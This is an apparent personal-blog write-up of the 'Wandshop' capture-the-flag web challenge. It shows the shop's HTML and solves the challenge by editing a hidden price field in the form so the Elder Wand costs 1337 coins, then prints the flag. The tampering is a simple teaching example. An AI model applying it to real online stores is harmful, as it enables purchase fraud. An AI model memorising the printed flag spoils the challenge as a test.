☰

jebidiah-anthony

write-ups and what not

Wandshop (100 pts)

CHALLENGE INFO

  • CHALLENGE LINK: https://wandshop.tghack.no/

  • LANDING PAGE:

    homepage

  • ASSUMED OBJECTIVE: Increase a wand’s SKU or decrease Elder Wand’s cost

Step 1 : Examine the Page Souce

  • Page Source: 
    <html>
<head>
    <title>OllyDbg Wands</title>
</head>
<body>


    <h1>Your credit: 1337 coins</h1>
    <h1>Shopping cart:</h1>
    <ul>
      
        <form action="/" method="post">
            <input type="hidden" name="csrfmiddlewaretoken" value="6s723TbsAI7SK6bkAhcJ4iA0GFG1f6RvW8J2pIwKvWplEGIm0OxdY3yqS5cId96m">
            <input type="hidden" name="action" value="reset"/>
            <button>Reset</button>
        </form>
    <form action="/" method="post">
        <input type="hidden" name="csrfmiddlewaretoken" value="6s723TbsAI7SK6bkAhcJ4iA0GFG1f6RvW8J2pIwKvWplEGIm0OxdY3yqS5cId96m">
        <input type="hidden" name="action" value="order"/>
        <button>Send order</button>
    </form>
    </ul>
    <h1>Items</h1>
    <div style="display: flex; flex-direction: row;">
            
            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Horse-hair wand</strong><br/>
                SKU: 1<br/>
                Price: 123.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="6s723TbsAI7SK6bkAhcJ4iA0GFG1f6RvW8J2pIwKvWplEGIm0OxdY3yqS5cId96m">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="1"/>
                    <input type="hidden" name="price" value="123.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>
           
            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Dragon-bone wand</strong><br/>
                SKU: 2<br/>
                Price: 323.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="6s723TbsAI7SK6bkAhcJ4iA0GFG1f6RvW8J2pIwKvWplEGIm0OxdY3yqS5cId96m">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="2"/>
                    <input type="hidden" name="price" value="323.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>
            
            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Troll-snot wand</strong><br/>
                SKU: 3<br/>
                Price: 723.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="6s723TbsAI7SK6bkAhcJ4iA0GFG1f6RvW8J2pIwKvWplEGIm0OxdY3yqS5cId96m">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="3"/>
                    <input type="hidden" name="price" value="723.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>
            
            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Elder Wand</strong><br/>
                SKU: 321<br/>
                Price: 5000.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="6s723TbsAI7SK6bkAhcJ4iA0GFG1f6RvW8J2pIwKvWplEGIm0OxdY3yqS5cId96m">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="321"/>
                    <input type="hidden" name="price" value="5000.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>
          
    </div>

</body>
</html>

    Notes:

    • You have 1337 coins as credits
    • Each wand’s attriutes are passed as hidden input in individual forms
    • You can change the wand’s price but not your credits

Step 2 : Purchase the Elder Wand

  1. Change the Elder Wand’s price to at most 1337 coins 
    <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
    <strong>Elder Wand</strong><br/>
    SKU: 321<br/>
    Price: 5000.00 coins
    <form action="" method="post">
        <input type="hidden" name="csrfmiddlewaretoken" value="6s723TbsAI7SK6bkAhcJ4iA0GFG1f6RvW8J2pIwKvWplEGIm0OxdY3yqS5cId96m">
        <input type="hidden" name="action" value="add_cart"/>
        <input type="hidden" name="sku" value="321"/>
        <input type="hidden" name="price" value="1337.00"/>
        <button type="submit">Add to cart</button>
    </form>
</div>

  2. Press Add to cart

    Add to cart

  3. Press Send order 
    Yay! You ordered an Elder Wand. FLAG: TG19{Elder wand iz best wand}

FLAG : TG19{Elder wand iz best wand}